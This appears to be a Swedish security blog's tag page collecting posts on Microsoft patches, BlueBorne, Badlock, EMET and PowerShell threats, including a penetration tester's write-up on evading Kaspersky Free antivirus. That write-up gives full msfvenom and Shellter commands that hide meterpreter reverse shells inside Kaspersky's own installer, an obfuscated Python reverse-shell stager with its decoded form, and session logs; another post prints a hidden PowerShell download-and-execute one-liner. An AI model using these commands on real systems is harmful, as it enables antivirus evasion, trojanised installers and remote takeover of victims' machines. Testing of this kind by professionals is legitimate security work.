Taggat med: microsoft

Microsoft månatliga patchar för Mars

Microsoft har nu släppt de månatliga säkerhetspatcharna för Mars månad. En av de viktigaste säkerhetsfixarna är en som åtgärdar en RCE (Remote Code Execution) i CredSSP som används för bl.a. RDP (Remote Desktop). Denna sårbarhet har CVE-2018-0886 och som förmildrande faktor så måste angripare utföra MITM (man-i-mitten).

75 sårbarheter åtgärdas totalt varav 14 är kritiska och följande produkter åtgärdar Microsoft brister i:

  • Internet Explorer
  • Microsoft Edge
  • Microsoft Windows
  • Microsoft Office and Microsoft Office Services and Web Apps
  • Microsoft Exchange Server
  • ASP.NET Core
  • .NET Core
  • PowerShell Core
  • ChakraCore
  • Adobe Flash

För den som undrar så är ChakraCore den JavaScript-motor som återfinnes i webbläsaren Edge. Och vad som jag tycker är intressant är att Microsoft patchar en sårbarhet i Adobe Flash.

Uppdatering: Att Adobe Flash uppdateras beror troligtvis på att Flash numera är inbyggt i webbläsaren.

Test av gratis anti-virus från Kaspersky

Kaspersky lanserade nyligen en gratis version av sin antivirusmjukvara och jag bestämde mig för att testa vad den går för. Som del av mina uppdrag då jag testar säkerheten för mina uppdragsgivare (penetrationstester) så förekommer det att jag får i uppdrag att ta mig förbi eventuella säkerhetsprodukter såsom sandlådor och antivirus.

Det råder ingen tvekan om att det går att ta sig förbi majoriteten av alla säkerhetssystem såsom sandlådor, data loss prevention-verktyg och antivirus. Att däremot upptäcka i tid när någon försöker ta sig förbi ett säkerhetssystem och reagera på detta är avgörande.

Allmänna synpunkter om Kaspersky Free

Att ladda hem och installera Kaspersky Free Anti-Virus gick smidigt. Vid installationen fick jag frågan om jag vill ingå i Kaspersky Security Network (KSN) och då dela med mig av information om min dator samt skadlig kod som upptäcks på min dator. Jag förstår att inget i livet är gratis och att om jag använder Kaspersky Free så måste jag dela med mig av något. Men det verkar inte som att det är ett måste att ingå i KSN.

Nästa fundering är att det står att licensen gäller i 365 dagar. Vad händer efter det?

Test 1: Testvirus Eicar vs Kaspersky

Det första testet jag genomför är att ladda hem testviruset Eicar. Det finns på eicar.org och går att ladda hem på lite olika sätt: Direkt via HTTP, HTTPS eller i zip-fil. När jag laddar hem Eicar via HTTP så får jag ett meddelande direkt i webbläsaren att jag försöker ladda hem skadlig kod, vilket då påvisar att Kaspersky granskar okrypterad webbtrafik.

När jag försöker ladda hem Eicar via HTTPS så får jag inget meddelande, men jag varnas om jag aktivt försöker starta filen eller söker igenom filen. Detta visar på att Kaspersky ej troligtvis genomför MITM (man i mitten på HTTPS-surf).

Bra, då har vi verifierat att Kaspersky Free Anti-Virus är korrekt installerat.

Test 2: Powershell implantat vs Kaspersky

Nu börjar det bli lite mer avancerat. I detta test  tänker jag testa ett implantat som heter PoshC2 och ligger på Github. Implantatet kan levereras via MS16-051, Word-makron eller Java JAR-filer. Jag väljer att köra via ett Word-makro och installation samt kommunikation fungerar utmärkt.

PoshC2-implantat vs. Kaspersky

Skärmdumpen ovan påvisar att beacon skickas var femte sekund och att användaren heter IEUser. Eftersom Kaspersky var dålig på att upptäcka detta implantat så testar jag även att skicka upp Word-dokumentet till VirusTotal:

Bland de antivirus-motorer som detekterar denna skadlig kod är Avira, Avast, Fortinet och AVG.  Jag noterar också att den gratis IOC-skannern Loki detekterar detta.

Test 3: Metasploit vs Kaspersky

Med hjälp av operativsystemet Kali Linux där Metasploit finns förinstallerat skapar jag en meterpreter reverse TCP payload.

Jag använder msfvenom på följande sätt:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.101.2.254 LPORT=443 -f raw -e x86/shikata_ga_nai -i 9 | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 11 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 6 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 7 -x kfa17.0.0.611abcsv_11811.exe -k -f exe -o kfa17.0.0.611abcsv_11811-meterpreter-msf.exe

Ovan kommandorad använder flertalet obfuskerare såsom shikata-ga-nai och lägger till Metasploits modul för att ansluta hem.

Denna payload gömmer vi sedan i Kasperskys egen installationsfil kfa17.0.0.611abcsv_11811.exe.

Detta var dock ingen match för Kaspersky att upptäcka:

Nästa test jag gör med Metasploit är att skapa en Python payload med hjälp av msfvenom:

msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.99.101 LPORT=443

Denna kod måste jag sedan modifiera så den fungerar tillsammans med PyInstaller som skapar en fristående .exe-fil.

Ser ut ungefär så här:

import base64,sys,socket,code,platform,shutil
exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguOTkuMTAxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))

Vilket motsvarar följande kod utan Base64-kodning:

import socket,struct,time
for x in range(10):
  try:
	s=socket.socket(2,socket.SOCK_STREAM)
	s.connect(('192.168.99.101',443))
	break
  except:
	time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
  while len(d)

När jag sedan testar att köra exe-filen från PyInstaller så blir det ingen detektion hos Kaspersky:

[*] Sending stage (40747 bytes) to 192.168.99.100
[*] Meterpreter session 6 opened (192.168.99.101:443 -> 192.168.99.100:50511) at 2017-08-24 09:44:11 -0400
 msf exploit(handler) > sessions -i 6
[*] Starting interaction with 6...

meterpreter > sysinfo
 Computer : IE11Win8_1
 OS : Windows 8.1 6.3.9600
 Architecture : x86
 Meterpreter : python/windows
 meterpreter >

Eftersom Kaspersky inte lyckades att detektera mitt test är det intressant att se vad VirusTotal säger om filen. Nu får jag en detektionsratio på 13 av 64 antivirus-motorer.

Test 4: Shellter vs Kaspersky

Shellter Project är ett intressant verktyg som enligt utvecklaren kan användas för att dynamiskt injicera shellcode i PE-filer (Portable Executable).

Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created.

Inbyggt i Shellter är möjligheten att skapa ett antal olika Metasploit meterpreter payloads:

  • meterpreter_reverse_tcp
  • meterpreter_reverse_http
  • meterpreter_reverse_https
  • meterpreter_bind_tcp
  • shell_reverse_tcp
  • shell_bind_tcp
  • WinExec

Och väljer du att köpa betalversionen (Pro) för 90 USD så får du ytterligare några payloads:

  • Meterpreter_Reverse_WINHTTP
  • Meterpreter_Reverse_WINHTTPS
  • Shell_Reverse_TCP_DNS

Och har du en egen payload så går det givetvis också bra. Några exempel på egen payload följer med i mappen shellcode_samples.

Jag kör Kali Linux där jag installerat Windows-emulatorn Wine och startar ShellterPro som är betalversionen med hjälp av följande argument:

wine ShellterPro.exe -f ../kfa17.0.0.611abcsv_11811.exe -p meterpreter_reverse_tcp --lhost 192.168.99.101 --port 443 --encode --handler IAT --polyExtra --incSize 500 --Junk -s

Detta gör att payloaden meterpreter_reverse_tcp läggs till i filen kfa17.0.0.611abcsv_11811.exe. Övriga argument har att göra med hur Shellter försöker dölja payloaden för antivirus-program.

Sedan för jag över filen till Windows där Kaspersky körs och får då en anslutning till Metasploit när användaren klickar på filen:

[*] Sending stage (956991 bytes) to 192.168.99.100
[*] Meterpreter session 1 opened (192.168.99.101:443 -> 192.168.99.100:57922) at 2017-08-25 02:38:52 -0400

msf exploit(handler) >
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer : IE11WIN8_1
OS : Windows 8.1 (Build 9600).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter >

Laddar jag sedan upp denna testfil till VirusTotal så är det enbart 4 st antivirus-motorer som identifierar denna som skadlig kod:

Slutsats

Det är relativt lätt att ta sig förbi Kaspersky antivirus men ovan visar på att inget antivirus är fullständigt. Om du vill vara på den säkra sidan bör du använda flertalet antivirus-motorer, åtminstone i gateways såsom perimeterskyddet mot internet och vid analys av filer på löstagbart media.

Att använda ett antivirusprogram är helt klart bättre än att inte använda något alls. I ovan tester mot VirusTotal så ingår inte Microsofts eget gratisskydd Security Essentials.

Tack till Laban Sköllermark och Emma Lilliestam för korrekturläsning.

Ny trådlös attack som använder Bluetooth: BlueBorne

BlueBorne är samlingsnamnet på en ny uppsjö av säkerhetsbuggar som identifierats i den trådlösa standarden Bluetooth och kan potentiellt drabba 5.3 miljarder enheter världen över.

Säkerhetsbuggarna har identifierats av företaget Armis som jobbar just med IoT-säkerhet. Att säkerhetsbuggarna kan drabba så pass många enheter beror på att flertalet sårbarheter har identifierats i många av de mjukvaror som implementerar Bluetooth-standarden.

Följande sårbarheter har identifierats i plattformarna Android, Windows, Linux och iOS:

  • Linux kernel RCE vulnerability – CVE-2017-1000251
  • Linux Bluetooth stack (BlueZ) information leak vulnerability – CVE-2017-1000250
  • Android information leak vulnerability – CVE-2017-0785
  • Android RCE vulnerabilities CVE-2017-0781 & CVE-2017-0782
  • The Bluetooth Pineapple in Android – Logical Flaw CVE-2017-0783
  • The Bluetooth Pineapple in Windows – Logical Flaw CVE-2017-8628
  • Apple Low Energy Audio Protocol RCE vulnerability – CVE-2017-14315

Den enhet som attackeras behöver inte ställas i synligt-läge och några behörigheter behöver inte användas för att nyttja någon av ovan attacker enligt Armis.

Demonstration av attacken finner du här:

Här kan du ladda hem ett tekniskt papper i PDF-format:

Windows SMBv3 zero-day

Proof of Concept (PoC)-kod för en ny zero-day har släppts på Github. Koden kan få en Windows-klient att krascha över nätverket i dagsläget (denial of service) men oklart om detta kan leda till något allvarligare.

Det koden gör är simulera en server och skickar då SMBv3-paket som får klienter av typen Windows 8 eller Windows Server 2012 är blåskärma. Detta för att enbart dessa operativsystem och nyare som stödjer version 3 av SMB-protokollet.

För att förmildra eventuell skada så rekommenderas blockering av TCP portar 139 och 445 samt UDP port 137 och 138 in/utgående genom brandväggar.

PCAP finnes här:

Skärmdump från Windows 8 där denna brist utnyttjas:

Cyberangrepp som använder PowerShell ökar

Powershell är ett avancerat skript-språk till Windows som funnits i över 10 år där målet är att byta ut klassiska CMD.exe i framtiden (DOS-kommandotolk). Exempelvis så är standardskalet i Windows 10 just PowerShell. PowerShell är också populärt bland Windows-administratörer för dess förmåga att underlätta admin-arbete och har många olika funktioner vilket även gör det populärt för skadlig kod.

Enligt säkerhetsföretaget Symantec så är 95.4% av alla analyserade powershell-skript skadliga och många organisationer saknar förmåga att upptäcka skadliga powershell-skript uppger företaget. Detta för att loggningen är bristfällig i standardkonfigurationen. Att obfuskera och ändra i powershell-skript och således undgå enklare kontroller i form av strängmatchning och checksummor är också trivialt.

Den senaste alfa-versionen av PowerShell som heter version 6 har utökat stöd för loggning och flertalet olika säkerhetshöjande funktioner.

Följande PowerShell-versioner används som standard i Microsofts olika operativsystem:

Det finns PowerShell-skript för nästan allt, från att skapa ett nätverkssniffer eller för läsa ut lösenord. Vissa hot, t.ex. som Trojan.Kotver som försöker att ladda hem och installera PowerShells-ramverk om den inte är installerad på den infekterade datorn. Även så stödjer PowerShell att ladda hem och exekvera kod direkt i minnet vilket kan försvåra forensiska undersökningar.

Exempel på kod som laddar ner och exekverar kod från Pastebin:

powershell -w hidden -ep bypass -nop -c “IEX ((New-Object System.Net.Webclient). DownloadString(‘http://pastebin.com/raw/[REMOVED]’))”

Följande 37-sidiga whitepaper från Symantec innehåller en hel del matnyttigt:

Badlock var inte så farlig som många trodde

Nu har information släppts om den beryktade Badlock-buggen. Det visar sig att den inte är så farlig som många hade förväntat sig, dvs mer en uppbyggd hype eller PR-trick.

Sårbarheten är en så kallad MITM-bugg och gör att angriparen måste sätta sig mellan klienten och SMB-servern. Även så handlar Badlock om en överbelastningsattack, DoS.

Microsoft ger den nivå ”Important”, dvs näst högsta nivån och buggen får CVE-2016-0128 samt CVSS nivå 7.1.

Intressant denna tisdag är även att Microsoft släpper sitt månatliga patchpaket som innehåller critical-fixar för Edge och Internet Explorer.
hype train

🔐 Microsoft gillar Forward Secrecy (PFS)

Microsoft

Nyligen så släppte Microsoft en relativt anonym säkerhetsuppdatering med nummer 3042058. Denna uppdatering kastar om ordningen samt lägger till nya krypteringsalgoritmer gällande Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, Windows 8.1, och Windows Server 2012 R2.

Att en så stor spelar som Microsoft gör denna ändring får så klart stora konsekvenser för IT-säkerheten i stort på internet, till det bättre om du frågar mig. För just Forward Secrecy (PFS) gör att temporära nycklar används för sessioner och således kan äldre information ej återskapas även om den privata nyckeln röjs som i fallet med Heartbleed-buggen. För TLS handlar det framförallt om Diffie-Hellman DHE och Diffie-Hellman med elliptiska kurvor, ECDHE.

Följande nya ciphersuites stödjer nu Microsofts ovan operativsystem (och framtida?):

  • TLS_DHE_RSA_WITH_AES_256_GCM_SHA384
  • TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
  • TLS_RSA_WITH_AES_256_GCM_SHA384
  • TLS_RSA_WITH_AES_128_GCM_SHA256

Och i Microsofts fall så är de Schannel som har hand om SSL/TLS och ovan nya algoritmer. Du kan även manuellt ändra ordningen på följande sätt:

  1.  At a command prompt, type gpedit.msc, and then press Enter. The Local Group Policy Editor is displayed.
  2. Expand Computer Configuration, expand Administrative Templates, expand Network, and then click SSL Configuration Settings.
  3. Under SSL Configuration Settings, click SSL Cipher Suite Order.
  4. In the SSL Cipher Suite Order pane, scroll to the bottom.
  5. Follow the instructions that are labeled How to modify this setting.

Kommentar från Henrick Hellström på Streamsec:

– Uppdateringen är ”anonym” främst eftersom den inte kommer att bli tillgänglig via Windows Update förrän fjärde kvartalet. ”Microsoft is initially offering the 3042058 update via the Microsoft Download Center only in order to give customers the opportunity to test the new features before making them a default part of their environments; the update will be available via Microsoft Update and WSUS in Q4 2015.”

– Jag håller med om att PFS borde vara standard, men tycker att din motivering kanske är lite överförenklad. I praktiken skulle en läckt privat nyckel (genom heartbleed eller på annat sätt) nog inte skydda gammal data det minsta. Lyckas du komma in som administrator på en server (t ex genom en MITM följd av selektiv blockering mot Remote Desktop när administratören försöker logga in) kan du förmodligen ganska enkelt återskapa det mesta som hänt på den servern genom att analysera loggfiler och auditrecords i databasfilerna, utan att behöva dekryptera någon gammal SSL/TLS-trafik.

– Omvänt, det stora problemet om någon lyckas kopiera din privata nyckel, är att du högst sannolikt aldrig kommer att få reda på det. Även om all gammal trafik kommer att förbli konfidentiell, kommer all framtida trafik från den tidpunkten att kunna dekrypteras av angriparen.

Allvarlig sårbarhet i Microsoft Schannel

microsoftIgår släppte Microsoft sina månatliga patchar för November och en av de mer allvarligare sårbarheterna som åtgärdas medger kodexekvering över nätverket (MS14-066).

Sårbarheten som åtgärdas återfinnes i Microsoft Secure Channel (Schannel) och är den del som hanterar SSL/TLS. Denna sårbarhet gäller enbart Windows Server men Microsoft patch även inkluderar Windows 7 och 8.

Tyvärr så framgår inga temporära åtgärder som kan genomföras för att förmildra en eventuell attack (workarounds).

Även så har Microsoft uppdaterat sina cipher suites och stödjer nu Galois/counter mode (GCM) samt perfect forward secrecy med hjälp av DHE + RSA.

  • TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
  • TLS_RSA_WITH_AES_256_GCM_SHA384
  • TLS_RSA_WITH_AES_128_GCM_SHA256

Läs mer här:  technet.microsoft.com/library/security/ms14-066

Microsoft EMET 5.1

EMETMicrosoft släppte nyligen Enhanced Mitigation Experience Toolkit (EMET) 5.1 som rättar ett antal buggar relaterade till Internet Explorer, Firefox, Adobe Reader, Adobe Flash (läs om emet 5.0 här). Använder du dig av Windows så är EMET en mjukvara som du måste använda.

En ny fräsig funktion i 5.1 är även något som heter Local Telemetry som gör att du kan göra en minnesdump när EMET upptäcker ett hot. Detta är bra för en eventuell forensisk utredning där den skadliga koden kan identifieras i detalj.

Detta nya släpp försvårar troligtvis även attacker som försöker kringgå EMETs skydd med hjälp av ROP, läs mer på Offensive Security.

EMET 5.1 kan laddas hem här: microsoft.com/emet och är gratis att använda.

Enhanced Mitigation Experience Toolkit (EMET) 5.0

EMETIgår släppte Microsoft version 5.0 av säkerhetsverktyget EMET. Verktyget hjälper till att skydda Microsoft Windows-system på djupet genom att erbjuda ett antal olika skyddsmekanismer. EMET är gratis att använda och fungerar från och med Windows Vista servicepack 2.

EMET prevents malware from exploiting vulnerabilities, period! There are many documented cases showing how EMET blocked new malware found in the wild. EMET is a must-have for your workstations.

Didier Stevens

Nedan är en lista på de förebyggande säkerhetsmekanismer som är inbyggda i EMET och vissa överförs även till nya versioner av Microsoft operativsystem.

Nytt i denna version är EAF+ samt Attack Surface Reduction (ASR).

Med ASR kan du ställa in att exempelvis Word ej får ladda Adobe Flash Player plugin.

  • Attack Surface Reduction (ASR) Mitigation
  • Export Address Table Filtering (EAF+) Security Mitigation
  • Data Execution Prevention (DEP) Security Mitigation
  • Structured Execution Handling Overwrite Protection (SEHOP) Security Mitigation
  • NullPage Security Mitigation
  • Heapspray Allocation Security Mitigation
  • Export Address Table Filtering (EAF) Security Mitigation
  • Mandatory Address Space Layout Randomization (ASLR) Security Mitigation
  • Bottom Up ASLR Security Mitigation
  • Load Library Check – Return Oriented Programming (ROP) Security Mitigation
  • Memory Protection Check – Return Oriented Programming (ROP) Security Mitigation
  • Caller Checks – Return Oriented Programming (ROP) Security Mitigation
  • Simulate Execution Flow – Return Oriented Programming (ROP) Security Mitigation
  • Stack Pivot – Return Oriented Programming (ROP) Security Mitigation

Här kan du ladda hem nya versionen:

http://blogs.technet.com/b/msrc/archive/2014/07/31/general-availability-for-enhanced-mitigation-experience-toolkit-emet-5-0.aspx